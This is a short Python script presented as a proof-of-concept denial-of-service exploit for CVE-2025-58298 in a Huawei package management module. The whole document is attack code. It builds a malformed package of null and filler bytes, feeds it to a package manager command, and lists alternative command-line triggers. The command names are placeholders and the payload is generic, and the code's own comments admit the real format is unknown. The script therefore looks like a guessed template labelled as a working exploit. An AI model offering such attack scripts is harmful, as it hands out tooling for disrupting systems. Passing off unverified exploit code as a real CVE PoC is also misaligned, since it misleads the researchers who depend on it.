The following code is for security research and authorized testing only.
python
# CVE-2025-58298 - Huawei Package Management Module Data Processing Error
# Vulnerability Type: Data Processing Error (Denial of Service)
# CVSS: 7.3 (HIGH) - AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
# Note: This is a local vulnerability in Huawei's package management module.
# The PoC demonstrates triggering the data processing error via malformed package data.
import subprocess
import os
import tempfile
def create_malformed_package():
"""Create a malformed package file to trigger data processing error"""
# Create a temporary file with malformed package data
tmp_dir = tempfile.mkdtemp()
malformed_pkg = os.path.join(tmp_dir, "malformed.pkg")
# Craft malformed data that may trigger the vulnerability
# The exact format depends on the specific Huawei product's package format
with open(malformed_pkg, 'wb') as f:
# Write invalid header or corrupted package metadata
f.write(b'\x00' * 1024) # Null bytes to trigger parsing error
f.write(b'INVALID_HEADER_DATA' * 100)
f.write(b'\xff' * 512) # Invalid data patterns
return malformed_pkg
def trigger_vulnerability():
"""Attempt to trigger the vulnerability via package management command"""
pkg_path = create_malformed_package()
try:
# Attempt to install/process the malformed package
# This may cause the package management module to crash
result = subprocess.run(
['pkg_manager_cmd', 'install', pkg_path],
capture_output=True,
timeout=10
)
print(f"Return code: {result.returncode}")
print(f"Stdout: {result.stdout.decode(errors='ignore')}")
print(f"Stderr: {result.stderr.decode(errors='ignore')}")
except subprocess.TimeoutExpired:
print("Process timed out - possible DoS condition triggered")
except Exception as e:
print(f"Error occurred: {e}")
if __name__ == "__main__":
print("CVE-2025-58298 PoC - Huawei Package Management Module DoS")
print("WARNING: This PoC should only be used on systems you own or have permission to test.")
trigger_vulnerability()
# Alternative exploitation via command line (if applicable):
# pkg_tool --install <malformed_package_file>
# pkg_tool --upgrade <corrupted_package_data>
# dpkg/rpm equivalent with malformed input on affected Huawei systems